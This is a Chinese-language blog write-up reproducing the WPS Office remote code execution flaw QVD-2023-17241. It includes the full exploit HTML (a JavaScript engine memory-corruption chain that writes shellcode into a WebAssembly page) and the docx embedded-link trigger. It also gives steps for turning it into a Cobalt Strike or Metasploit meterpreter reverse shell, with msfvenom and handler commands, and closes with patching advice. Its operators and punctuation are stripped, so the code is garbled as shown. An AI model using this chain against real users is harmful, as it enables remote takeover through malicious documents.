WPS Office 代码执行漏洞全过程复现(QVD-2023-17241)文章目录WPS Office 代码执行漏洞全过程复现(QVD-2023-17241)0x01 漏洞简介0x02 漏洞复现本地弹出计算器漏洞复现复现CS利用上线姿势复现MSF利用姿势0x03 漏洞修复与防护0x01 漏洞简介漏洞等级高危威胁类型代码执行漏洞类型数据验证不恰当CVE 编号暂无标签关键漏洞在野利用影响十万级奇安信CERT验证POC公开漏洞简述攻击者通过诱导用户打开文档中嵌入的远程链接即可触发此漏洞执行任意代码。目前漏洞处于在野利用状态。公开日期2023-08-090x02 漏洞复现存在漏洞的WPS Office版本WPS Office 代码执行(QVD-2023-17241)WPS Office 2023个人版11.1.0.15120WPS Office 2019企业版11.8.2.12085本地弹出计算器漏洞复现在当前1.html目录下面cmd里面用Python起一个http服务python-m http.server80编辑C:\Windows\System32\drivers\etc\hosts文件将域名clientweb.docer.wps.cn.cloudwps.cn绑定到本地hosts进行解析安装存在漏洞版本的WPS打开打开poc.docx成功弹出了计算器在命令行界面可以看到本地是有通过get方法请求1.html文件的注如果第一次出了效果后续遇到出不来效果的话你需要把WPS给卸载然后重装再来一遍流程则能触发漏洞原理分析1.htmlscriptif(typeofalertundefined){alertconsole.log;}letf64newFloat64Array(1);letu32newUint32Array(f64.buffer);functiond2u(v){f64[0]v;returnu32;}functionu2d(lo,hi){u32[0]lo;u32[1]hi;returnf64[0];}functiongc(){// majorfor(leti0;i0x10;i){newArray(0x100000);}}functionfoo(bug){functionC(z){Error.prepareStackTracefunction(t,B){returnB[z].getThis();};letpError().stack;Error.prepareStackTracenull;returnp;}functionJ(){}varoptimfalse;varoptnewFunction(a,b,c,if(typeof a\number\){if(a2){for(var i0;i100;i);return;}b.d(a,b,1);return}g;.repeat(70));varenull;J.prototype.dnewFunction(a,b,use strict;b.a.call(arguments,b);return arguments[a];);J.prototype.anewFunction(a,a.b(0,a));J.prototype.bnewFunction(a,b,b.c();if(a){g;.repeat(70)});J.prototype.cfunction(){if(optim){varzC(3);varpC(3);z[0]0;e{M:z,C:p};}};varanewJ();// jit optimif(bug){for(varV0;1E4V;V){opt(0V%4?1:4,a,1);}}optimtrue;opt(1,a,1);returne;}e1foo(false);e2foo(true);deletee2.M[0];letholee2.C[0];letmapnewMap();map.set(asd,8);map.set(hole,0x8);map.delete(hole);map.delete(hole);map.delete(asd);map.set(0x20,aaaa);letarr3newArray(0);letarr4newArray(0);letarr5newArray(1);letoob_array[];oob_array.push(1.1);map.set(1,-1);letobj_array{m:1337,target:gc};letabnewArrayBuffer(1337);letobject_idxundefined;letobject_idx_flagundefined;letmax_size0x1000;for(leti0;imax_size;i){if(d2u(oob_array[i])[0]0xa72){object_idxi;object_idx_flag1;break;}if(d2u(oob_array[i])[1]0xa72){object_idxi1;object_idx_flag0;break;}}functionaddrof(obj_para){obj_array.targetobj_para;letaddrd2u(oob_array[object_idx])[object_idx_flag]-1;obj_array.targetgc;returnaddr;}functionfakeobj(addr){letr8d2u(oob_array[object_idx]);if(object_idx_flag0){oob_array[object_idx]u2d(addr,r8[1]);}else{oob_array[object_idx]u2d(r8[0],addr);}returnobj_array.target;}letbk_idxundefined;letbk_idx_flagundefined;for(leti0;imax_size;i){if(d2u(oob_array[i])[0]1337){bk_idxi;bk_idx_flag1;break;}if(d2u(oob_array[i])[1]1337){bk_idxi1;bk_idx_flag0;break;}}letdvnewDataView(ab);functionget_32(addr){letr8d2u(oob_array[bk_idx]);if(bk_idx_flag0){oob_array[bk_idx]u2d(addr,r8[1]);}else{oob_array[bk_idx]u2d(r8[0],addr);}letvaldv.getUint32(0,true);oob_array[bk_idx]u2d(r8[0],r8[1]);returnval;}functionset_32(addr,val){letr8d2u(oob_array[bk_idx]);if(bk_idx_flag0){oob_array[bk_idx]u2d(addr,r8[1]);}else{oob_array[bk_idx]u2d(r8[0],addr);}dv.setUint32(0,val,true);oob_array[bk_idx]u2d(r8[0],r8[1]);}functionwrite8(addr,val){letr8d2u(oob_array[bk_idx]);if(bk_idx_flag0){oob_array[bk_idx]u2d(addr,r8[1]);}else{oob_array[bk_idx]u2d(r8[0],addr);}dv.setUint8(0,val);}letfake_lengthget_32(addrof(oob_array)12);set_32(get_32(addrof(oob_array)8)4,fake_length);letwasm_codenewUint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);letwasm_modnewWebAssembly.Module(wasm_code);letwasm_instancenewWebAssembly.Instance(wasm_mod);letfwasm_instance.exports.main;lettarget_addraddrof(wasm_instance)0x40;letrwx_memget_32(target_addr);//alert(rwx_mem isrwx_mem.toString(16));constshellcodenewUint8Array([0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00]);for(leti0;ishellcode.length;i){write8(rwx_memi,shellcode[i]);}f();/script在118行可以看到存在着一个shellcode的变量当我把里面的内容删除然后保存 重新打开poc.docx依然会打开计算器可以看到它并没有请求1.html用打开压缩包的形式打开poc.docx文档找到\word\webExtensions\webExtensions1.xml在XML标签wpswe:url/wpswe:url中定义了我们访问的文件地址在docx文档中嵌入一个远程链接当使用wps去打开文档时会去请求这个链接由于WPS内部浏览器存在漏洞会调用系统的api去执行攻击者在html中构造的恶意代码从而导致RCE复现CS利用上线姿势在kali中起一个cs的服务端再启动客户端进行连接添加一个监听器并生成一个payload取消勾选这个x64的这里我忘记取消截图了把payload.cs里面的shellcode代码复制到1.html中的shellcode的变量中进行替换然后保存最后启动http.server 80 服务打开poc.docx触发cs上线复现MSF利用姿势MSF生成一个C#后门msfvenom-p windows/meterpreter/reverse_tcpLHOST192.168.247.134LPORT4444-f csharpshellcode.cs复制下来替换掉1.html中的shellcode变量中内容在MSF这边开启监听msfuse exploit/multi/handler[*]Using configured payload generic/shell_reverse_tcp msfexploit(multi/handler)setpayload windows/meterpreter/reverse_tcppayloadwindows/meterpreter/reverse_tcp msfexploit(multi/handler)setlhost192.168.247.134lhost192.168.247.134msfexploit(multi/handler)setlport4444lport4444msfexploit(multi/handler)run[*]Started reverseTCPhandler on192.168.247.134:4444widnows10这边打开poc.docx即可触发反弹shell0x03 漏洞修复与防护修复1.把WPS升级到最新版本2.到官网下载补丁进行修复。、官方已发布相关补丁如果您在使用 WPS office 的企业版请尽快联系官方技术工程师或客服获取最新版本并确保企业版升级到11.8.2.12085;如果您使用的是 WPS ffice 个人版请通过 WPS官网 https: //www.wps.cn 获取最新版本进行升级防护1、请不要随意打开 PPS、PPSX、PPT、PPTX、DOC、DOCX、XLSXLSX 文档2、请勿随意点击 PPS、PPSX、PPT、PPTX、DOC、DOCX、XLS、XLSX文档中的 URL 链接或带 URL 超级链接的图片或视频等3、如果使用 WPS 打开 PDF 文件请勿随意点击 PDF 中的 URL 链接或超级链接参考文章https://mp.weixin.qq.com/s/QdftHvdmXc5Id5YBOuPJ3g